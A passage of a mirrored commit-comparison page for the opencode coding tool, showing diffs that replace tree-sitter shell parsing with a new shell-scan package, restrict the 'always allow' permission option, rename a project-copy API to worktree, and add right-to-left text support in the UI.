mirror of
https://github.com/anomalyco/opencode.git
synced 2026-08-14 15:32:52 -04:00
Compare commits
10 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 39be159599 | |||
| 92ed74baca | |||
| 1bd1eb0e0b | |||
| ad8ed9b367 | |||
| 97a6bc19e7 | |||
| e8101ef7fe | |||
| 8f3e86cf4e | |||
| d9700c4cd5 | |||
| 95be07463b | |||
| 40cd6989d2 |
@@ -0,0 +1,8 @@
|
||||
---
|
||||
"@opencode-ai/core": minor
|
||||
"@opencode-ai/schema": minor
|
||||
"@opencode-ai/protocol": minor
|
||||
"@opencode-ai/client": minor
|
||||
---
|
||||
|
||||
Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.
|
||||
@@ -76,6 +76,16 @@ jobs:
|
||||
env:
|
||||
OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
|
||||
|
||||
- name: Verify PowerShell 7 scanner conformance
|
||||
if: always() && runner.os == 'Windows'
|
||||
working-directory: packages/shell-scan
|
||||
run: PWSH=pwsh bun run research:powershell
|
||||
|
||||
- name: Verify Windows PowerShell scanner conformance
|
||||
if: always() && runner.os == 'Windows'
|
||||
working-directory: packages/shell-scan
|
||||
run: PWSH=powershell.exe bun run research:powershell
|
||||
|
||||
- name: Verify compiled service lifecycle
|
||||
if: always()
|
||||
timeout-minutes: 10
|
||||
|
||||
@@ -145,10 +145,7 @@
|
||||
"open": "10.1.2",
|
||||
"semver": "catalog:",
|
||||
"solid-js": "catalog:",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"uqr": "0.1.3",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"ws": "8.21.0",
|
||||
},
|
||||
"devDependencies": {
|
||||
@@ -391,10 +388,7 @@
|
||||
"immer": "11.1.4",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"mime-types": "3.0.2",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"venice-ai-sdk-provider": "2.1.1",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"which": "6.0.1",
|
||||
"zod": "catalog:",
|
||||
},
|
||||
@@ -402,6 +396,7 @@
|
||||
"@effect/platform-node": "catalog:",
|
||||
"@effect/sql-sqlite-bun": "catalog:",
|
||||
"@opencode-ai/http-recorder": "workspace:*",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
@@ -770,6 +765,15 @@
|
||||
"vite": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/shell-scan": {
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/simulation": {
|
||||
"name": "@opencode-ai/simulation",
|
||||
"version": "1.17.13",
|
||||
@@ -1120,12 +1124,9 @@
|
||||
},
|
||||
},
|
||||
"trustedDependencies": [
|
||||
"esbuild",
|
||||
"tree-sitter-powershell",
|
||||
"protobufjs",
|
||||
"electron",
|
||||
"web-tree-sitter",
|
||||
"tree-sitter-bash",
|
||||
"esbuild",
|
||||
"protobufjs",
|
||||
],
|
||||
"patchedDependencies": {
|
||||
"@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
|
||||
@@ -2156,6 +2157,8 @@
|
||||
|
||||
"@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
|
||||
|
||||
"@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
|
||||
|
||||
"@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
|
||||
|
||||
"@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
|
||||
@@ -5738,10 +5741,6 @@
|
||||
|
||||
"traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
|
||||
|
||||
"tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
|
||||
|
||||
"tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
|
||||
|
||||
"treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
|
||||
|
||||
"trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
|
||||
@@ -7034,8 +7033,6 @@
|
||||
|
||||
"tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
|
||||
|
||||
"tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
|
||||
|
||||
"tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
|
||||
|
||||
"tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],
|
||||
|
||||
@@ -145,10 +145,6 @@
|
||||
"esbuild",
|
||||
"node-pty",
|
||||
"protobufjs",
|
||||
"tree-sitter",
|
||||
"tree-sitter-bash",
|
||||
"tree-sitter-powershell",
|
||||
"web-tree-sitter",
|
||||
"electron"
|
||||
],
|
||||
"overrides": {
|
||||
|
||||
@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
|
||||
permission: "bash",
|
||||
patterns: ["git status", "git diff"],
|
||||
metadata: {},
|
||||
always: [],
|
||||
always: ["git *"],
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
@@ -1518,6 +1518,7 @@ export const PromptInput: Component<PromptInputProps> = (props) => {
|
||||
role="textbox"
|
||||
aria-multiline="true"
|
||||
aria-label={placeholder()}
|
||||
dir={store.mode === "normal" ? "auto" : "ltr"}
|
||||
contenteditable="true"
|
||||
autocapitalize={store.mode === "normal" ? "sentences" : "off"}
|
||||
autocorrect={store.mode === "normal" ? "on" : "off"}
|
||||
@@ -1539,7 +1540,11 @@ export const PromptInput: Component<PromptInputProps> = (props) => {
|
||||
"[&_[data-type=agent]]:text-syntax-type": true,
|
||||
"font-mono!": store.mode === "shell",
|
||||
}}
|
||||
style={{ "padding-bottom": space }}
|
||||
style={{
|
||||
"padding-bottom": space,
|
||||
"unicode-bidi": store.mode === "normal" ? "plaintext" : undefined,
|
||||
"text-align": "start",
|
||||
}}
|
||||
/>
|
||||
<div
|
||||
class="absolute top-0 inset-x-0 pl-3 pr-2 pt-2 text-14-regular text-text-weak pointer-events-none whitespace-nowrap truncate"
|
||||
|
||||
@@ -379,11 +379,10 @@ export function createPromptSubmit(input: PromptSubmitInput) {
|
||||
if (isNewSession) {
|
||||
if (worktreeSelection === "create") {
|
||||
const createdWorktree = await sdk()
|
||||
.api.projectCopy.create({
|
||||
.api.worktree.create({
|
||||
projectID: sync().data.project,
|
||||
strategy: "git_worktree",
|
||||
strategy: "git",
|
||||
directory: getDirectory(projectDirectory),
|
||||
location: { directory: projectDirectory },
|
||||
})
|
||||
.catch((err) => {
|
||||
showToast({
|
||||
|
||||
@@ -251,6 +251,7 @@ export function TabNavItem(props: {
|
||||
}}
|
||||
data-slot="tab-title"
|
||||
data-titlebar-tab-title
|
||||
dir="auto"
|
||||
class="min-w-0 flex-1 outline-none leading-4"
|
||||
classList={{
|
||||
"overflow-hidden text-clip whitespace-nowrap": !editing(),
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { Binary } from "@opencode-ai/core/util/binary"
|
||||
import { ProjectDirectories } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { produce, reconcile, type SetStoreFunction, type Store } from "solid-js/store"
|
||||
import type { Message, Part, Project, Todo } from "@/types"
|
||||
import type {
|
||||
@@ -187,10 +187,10 @@ export function applyDirectoryEvent(input: {
|
||||
input.setStore("sessionTotal", (value) => Math.max(0, value - 1))
|
||||
break
|
||||
}
|
||||
case "project.directory.resolved": {
|
||||
case "worktree.resolved": {
|
||||
const properties = event.properties as { projectID: string; directory: string; previous: string }
|
||||
input.store.session.forEach((session, index) => {
|
||||
const adopted = ProjectDirectories.adopt(
|
||||
const adopted = Worktree.adopt(
|
||||
{ projectID: session.projectID, directory: session.location.directory },
|
||||
properties,
|
||||
)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { Binary } from "@opencode-ai/core/util/binary"
|
||||
import { ProjectDirectories } from "@opencode-ai/schema/project-directories"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { retry } from "@opencode-ai/core/util/retry"
|
||||
import type {
|
||||
FormInfo,
|
||||
@@ -940,13 +940,10 @@ export function createServerSession(
|
||||
setData("form", event.data.sessionID, (forms) => forms?.filter((form) => form.id !== event.data.id))
|
||||
return
|
||||
}
|
||||
if (event.type === "project.directory.resolved") {
|
||||
if (event.type === "worktree.resolved") {
|
||||
Object.values(data.info).forEach((info) => {
|
||||
if (!info) return
|
||||
const adopted = ProjectDirectories.adopt(
|
||||
{ projectID: info.projectID, directory: info.location.directory },
|
||||
event.data,
|
||||
)
|
||||
const adopted = Worktree.adopt({ projectID: info.projectID, directory: info.location.directory }, event.data)
|
||||
if (adopted) remember({ ...info, ...adopted })
|
||||
})
|
||||
return
|
||||
|
||||
@@ -624,11 +624,7 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
|
||||
refresh: () => void bootstrap.refetch(),
|
||||
setGlobalProject: setProjects,
|
||||
})
|
||||
if (
|
||||
eventType === "config.updated" ||
|
||||
eventType === "agent.updated" ||
|
||||
eventType === "project.directories.updated"
|
||||
)
|
||||
if (eventType === "config.updated" || eventType === "agent.updated" || eventType === "worktree.updated")
|
||||
bootstrap.refetch()
|
||||
if (eventType === "global.disposed") Object.keys(children.children).filter(children.active).forEach(queue.push)
|
||||
return
|
||||
@@ -667,7 +663,7 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
|
||||
void loadCommands(directory, serverSDK.api.command)
|
||||
.then((commands) => setStore("command", commands))
|
||||
.catch(() => {})
|
||||
if (eventType === "project.directories.updated") void bootstrap.refetch()
|
||||
if (eventType === "worktree.updated") void bootstrap.refetch()
|
||||
const projected = toDirectoryEvent(event)
|
||||
if (projected)
|
||||
applyDirectoryEvent({
|
||||
|
||||
@@ -37,14 +37,16 @@ export function SessionPermissionDock(props: {
|
||||
<Button variant="ghost" size="normal" onClick={() => props.onDecide("reject")} disabled={props.responding}>
|
||||
{language.t("ui.permission.deny")}
|
||||
</Button>
|
||||
<Button
|
||||
variant="secondary"
|
||||
size="normal"
|
||||
onClick={() => props.onDecide("always")}
|
||||
disabled={props.responding}
|
||||
>
|
||||
{language.t("ui.permission.allowAlways")}
|
||||
</Button>
|
||||
<Show when={props.request.save?.length}>
|
||||
<Button
|
||||
variant="secondary"
|
||||
size="normal"
|
||||
onClick={() => props.onDecide("always")}
|
||||
disabled={props.responding}
|
||||
>
|
||||
{language.t("ui.permission.allowAlways")}
|
||||
</Button>
|
||||
</Show>
|
||||
<Button variant="primary" size="normal" onClick={() => props.onDecide("once")} disabled={props.responding}>
|
||||
{language.t("ui.permission.allowOnce")}
|
||||
</Button>
|
||||
|
||||
@@ -601,7 +601,9 @@ export const SessionQuestionDock: Component<{ request: FormInfo; onSubmit: () =>
|
||||
<Mark multi={multi()} picked={on()} onClick={toggleCustomMark} />
|
||||
<span data-slot="question-option-main">
|
||||
<span data-slot="option-label">{customLabel()}</span>
|
||||
<span data-slot="option-description">{input() || customPlaceholder()}</span>
|
||||
<span data-slot="option-description" dir="auto">
|
||||
{input() || customPlaceholder()}
|
||||
</span>
|
||||
</span>
|
||||
</button>
|
||||
}
|
||||
@@ -632,10 +634,12 @@ export const SessionQuestionDock: Component<{ request: FormInfo; onSubmit: () =>
|
||||
<textarea
|
||||
ref={focusCustom}
|
||||
data-slot="question-custom-input"
|
||||
dir="auto"
|
||||
placeholder={customPlaceholder()}
|
||||
value={input()}
|
||||
rows={1}
|
||||
disabled={sending()}
|
||||
style={{ "unicode-bidi": "plaintext", "text-align": "start" }}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault()
|
||||
|
||||
@@ -1159,6 +1159,7 @@ function MessageTimelineView(
|
||||
titleRef = el
|
||||
}}
|
||||
data-slot="session-title-child"
|
||||
dir="auto"
|
||||
value={title.draft}
|
||||
disabled={props.pending.rename()}
|
||||
classList={{
|
||||
@@ -1170,6 +1171,7 @@ function MessageTimelineView(
|
||||
"--inline-input-shadow": props.data.newLayoutDesigns()
|
||||
? "none"
|
||||
: "var(--shadow-xs-border-select)",
|
||||
"text-align": "start",
|
||||
}}
|
||||
onInput={(event) => setTitle("draft", event.currentTarget.value)}
|
||||
onKeyDown={(event) => {
|
||||
|
||||
@@ -40,9 +40,6 @@
|
||||
"open": "10.1.2",
|
||||
"semver": "catalog:",
|
||||
"solid-js": "catalog:",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"uqr": "0.1.3",
|
||||
"ws": "8.21.0"
|
||||
},
|
||||
|
||||
@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
|
||||
import path from "node:path"
|
||||
import { fileURLToPath } from "node:url"
|
||||
import { getNodeAssets } from "@opentui/core/node-assets"
|
||||
import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
|
||||
import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
|
||||
|
||||
const dir = path.resolve(import.meta.dirname, "..")
|
||||
|
||||
@@ -43,10 +43,6 @@ export async function collectNodeAssets(target: NodeTarget) {
|
||||
key: photonWasmAsset,
|
||||
source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
|
||||
},
|
||||
...Object.values(shellParserWasmAssets).map((key) => ({
|
||||
key,
|
||||
source: fileURLToPath(import.meta.resolve(key)),
|
||||
})),
|
||||
...attentionSoundAssets.map((key) => ({
|
||||
key,
|
||||
source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),
|
||||
|
||||
@@ -47,7 +47,7 @@ export async function replyPermission(input: {
|
||||
locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
|
||||
...(previews.length > 0 ? { content: previews } : {}),
|
||||
},
|
||||
options,
|
||||
options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
|
||||
})
|
||||
.catch(() => undefined)
|
||||
const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined
|
||||
|
||||
@@ -29,11 +29,6 @@ export function nodeTarget(platform: string, arch: string) {
|
||||
}
|
||||
|
||||
export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
|
||||
export const shellParserWasmAssets = {
|
||||
runtime: "web-tree-sitter/tree-sitter.wasm",
|
||||
bash: "tree-sitter-bash/tree-sitter-bash.wasm",
|
||||
powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
|
||||
} as const
|
||||
export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
|
||||
|
||||
export const attentionSoundAssets = [
|
||||
|
||||
@@ -49,6 +49,7 @@ describe("acp permission behavior", () => {
|
||||
send(
|
||||
permissionAsked("ses_allow", "perm_always", {
|
||||
action: "read",
|
||||
save: ["/workspace/file.ts"],
|
||||
metadata: { path: "/workspace/file.ts" },
|
||||
source: { type: "tool", messageID: "msg_allow", id: "call_always" },
|
||||
}),
|
||||
@@ -84,10 +85,10 @@ describe("acp permission behavior", () => {
|
||||
},
|
||||
options: [
|
||||
{ optionId: "once", kind: "allow_once", name: "Allow once" },
|
||||
{ optionId: "always", kind: "allow_always", name: "Always allow" },
|
||||
{ optionId: "reject", kind: "reject_once", name: "Reject" },
|
||||
],
|
||||
})
|
||||
expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
|
||||
expect(permissionRequests[1]).toMatchObject({
|
||||
sessionId: "ses_allow",
|
||||
toolCall: {
|
||||
@@ -557,6 +558,7 @@ function permissionAsked(
|
||||
input: {
|
||||
readonly action?: string
|
||||
readonly metadata?: Record<string, unknown>
|
||||
readonly save?: string[]
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
} = {},
|
||||
) {
|
||||
@@ -565,6 +567,7 @@ function permissionAsked(
|
||||
sessionID,
|
||||
action: input.action ?? "shell",
|
||||
resources: ["*"],
|
||||
...(input.save ? { save: input.save } : {}),
|
||||
metadata: input.metadata ?? { command: "printf hello" },
|
||||
...(input.source ? { source: input.source } : {}),
|
||||
})
|
||||
|
||||
@@ -1,17 +1,10 @@
|
||||
import { expect, test } from "bun:test"
|
||||
import { fileURLToPath } from "node:url"
|
||||
import { collectNodeAssets } from "../script/node-assets"
|
||||
import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
|
||||
import { nodeTarget } from "../src/node/target"
|
||||
|
||||
test("collects each SEA asset key once", async () => {
|
||||
const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
|
||||
const keys = assets.map((asset) => asset.key)
|
||||
|
||||
expect(new Set(keys).size).toBe(keys.length)
|
||||
expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
|
||||
{
|
||||
key: shellParserWasmAssets.runtime,
|
||||
source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
|
||||
},
|
||||
])
|
||||
})
|
||||
|
||||
@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
|
||||
import { createRequire } from "node:module"
|
||||
import { defineConfig, type Plugin, type UserConfig } from "vite"
|
||||
import solid from "vite-plugin-solid"
|
||||
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
|
||||
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
|
||||
|
||||
const dir = import.meta.dirname
|
||||
|
||||
@@ -212,9 +212,6 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
|
||||
process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
|
||||
process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
|
||||
process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
|
||||
process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
|
||||
process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
|
||||
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
|
||||
process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
|
||||
process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
|
||||
try {
|
||||
|
||||
@@ -19,7 +19,7 @@ import { Permission } from "@opencode-ai/schema/permission"
|
||||
import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
|
||||
import { Plugin } from "@opencode-ai/schema/plugin"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
import { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import { AgentAttachment, FileAttachment, Prompt, PromptMention } from "@opencode-ai/schema/prompt"
|
||||
import { PromptInput } from "@opencode-ai/schema/prompt-input"
|
||||
import { Provider } from "@opencode-ai/schema/provider"
|
||||
@@ -60,7 +60,7 @@ const effectTypeReferences = [
|
||||
...namespaceTypes("PermissionSaved", "@opencode-ai/schema/permission-saved", PermissionSaved),
|
||||
...namespaceTypes("Plugin", "@opencode-ai/schema/plugin", Plugin),
|
||||
...namespaceTypes("Project", "@opencode-ai/schema/project", Project),
|
||||
...namespaceTypes("ProjectCopy", "@opencode-ai/schema/project-copy", ProjectCopy),
|
||||
...namespaceTypes("Worktree", "@opencode-ai/schema/worktree", Worktree),
|
||||
...namespaceTypes("PromptInput", "@opencode-ai/schema/prompt-input", PromptInput),
|
||||
...namespaceTypes("Provider", "@opencode-ai/schema/provider", Provider),
|
||||
...namespaceTypes("Pty", "@opencode-ai/schema/pty", Pty),
|
||||
|
||||
@@ -34,7 +34,7 @@ import type { OpenCodeEvent } from "@opencode-ai/protocol/groups/event"
|
||||
import type { Pty } from "@opencode-ai/schema/pty"
|
||||
import type { Question } from "@opencode-ai/schema/question"
|
||||
import type { Reference } from "@opencode-ai/schema/reference"
|
||||
import type { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
import type { Worktree } from "@opencode-ai/schema/worktree"
|
||||
import type { Vcs } from "@opencode-ai/schema/vcs"
|
||||
import type { FileDiff } from "@opencode-ai/schema/file-diff"
|
||||
import type { WebSearch } from "@opencode-ai/schema/websearch"
|
||||
@@ -1230,17 +1230,9 @@ export type Endpoint13_1Input = {
|
||||
export type Endpoint13_1Output = Project.Current
|
||||
export type ProjectCurrentOperation<E = never> = (input?: Endpoint13_1Input) => Effect.Effect<Endpoint13_1Output, E>
|
||||
|
||||
export type Endpoint13_2Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint13_2Output = Project.Directories
|
||||
export type ProjectDirectoriesOperation<E = never> = (input: Endpoint13_2Input) => Effect.Effect<Endpoint13_2Output, E>
|
||||
|
||||
export interface ProjectApi<E = never> {
|
||||
readonly list: ProjectListOperation<E>
|
||||
readonly current: ProjectCurrentOperation<E>
|
||||
readonly directories: ProjectDirectoriesOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint14_0Input = {
|
||||
@@ -1315,6 +1307,7 @@ export type Endpoint15_3Input = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string> | undefined
|
||||
readonly opaque?: boolean | undefined
|
||||
readonly metadata?: { readonly [x: string]: unknown } | undefined
|
||||
readonly source?: Permission.Source | undefined
|
||||
readonly agent?: Agent.ID | undefined
|
||||
@@ -1549,36 +1542,37 @@ export interface ReferenceApi<E = never> {
|
||||
readonly list: ReferenceListOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint24_0Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
readonly strategy: ProjectCopy.StrategyID
|
||||
readonly directory: AbsolutePath
|
||||
readonly name?: string | undefined
|
||||
}
|
||||
export type Endpoint24_0Output = ProjectCopy.Copy
|
||||
export type ProjectCopyCreateOperation<E = never> = (input: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
|
||||
export type Endpoint24_0Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint24_0Output = Worktree.List
|
||||
export type WorktreeListOperation<E = never> = (input: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
|
||||
|
||||
export type Endpoint24_1Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
readonly strategy: Worktree.StrategyID
|
||||
readonly from?: AbsolutePath | undefined
|
||||
readonly directory: AbsolutePath
|
||||
readonly force: boolean
|
||||
readonly name?: string | undefined
|
||||
}
|
||||
export type Endpoint24_1Output = void
|
||||
export type ProjectCopyRemoveOperation<E = never> = (input: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
|
||||
export type Endpoint24_1Output = Worktree.Info
|
||||
export type WorktreeCreateOperation<E = never> = (input: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
|
||||
|
||||
export type Endpoint24_2Input = {
|
||||
readonly projectID: Project.ID
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
readonly directory: AbsolutePath
|
||||
readonly force: boolean
|
||||
}
|
||||
export type Endpoint24_2Output = void
|
||||
export type ProjectCopyRefreshOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
|
||||
export type WorktreeRemoveOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
|
||||
|
||||
export interface ProjectCopyApi<E = never> {
|
||||
readonly create: ProjectCopyCreateOperation<E>
|
||||
readonly remove: ProjectCopyRemoveOperation<E>
|
||||
readonly refresh: ProjectCopyRefreshOperation<E>
|
||||
export type Endpoint24_3Input = { readonly projectID: Project.ID }
|
||||
export type Endpoint24_3Output = void
|
||||
export type WorktreeRefreshOperation<E = never> = (input: Endpoint24_3Input) => Effect.Effect<Endpoint24_3Output, E>
|
||||
|
||||
export interface WorktreeApi<E = never> {
|
||||
readonly list: WorktreeListOperation<E>
|
||||
readonly create: WorktreeCreateOperation<E>
|
||||
readonly remove: WorktreeRemoveOperation<E>
|
||||
readonly refresh: WorktreeRefreshOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint25_0Input = {
|
||||
@@ -1691,7 +1685,7 @@ export interface AppApi<E = never> {
|
||||
readonly shell: ShellApi<E>
|
||||
readonly question: QuestionApi<E>
|
||||
readonly reference: ReferenceApi<E>
|
||||
readonly projectCopy: ProjectCopyApi<E>
|
||||
readonly worktree: WorktreeApi<E>
|
||||
readonly vcs: VcsApi<E>
|
||||
readonly debug: DebugApi<E>
|
||||
readonly migration: MigrationApi<E>
|
||||
|
||||
@@ -139,8 +139,6 @@ import type {
|
||||
Endpoint13_0Output,
|
||||
Endpoint13_1Input,
|
||||
Endpoint13_1Output,
|
||||
Endpoint13_2Input,
|
||||
Endpoint13_2Output,
|
||||
Endpoint14_0Input,
|
||||
Endpoint14_0Output,
|
||||
Endpoint14_1Input,
|
||||
@@ -216,6 +214,8 @@ import type {
|
||||
Endpoint24_1Output,
|
||||
Endpoint24_2Input,
|
||||
Endpoint24_2Output,
|
||||
Endpoint24_3Input,
|
||||
Endpoint24_3Output,
|
||||
Endpoint25_0Input,
|
||||
Endpoint25_0Output,
|
||||
Endpoint25_1Input,
|
||||
@@ -876,19 +876,7 @@ const Endpoint13_1 = (raw: RawClient["server.project"]) => (input?: Endpoint13_1
|
||||
raw["project.current"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
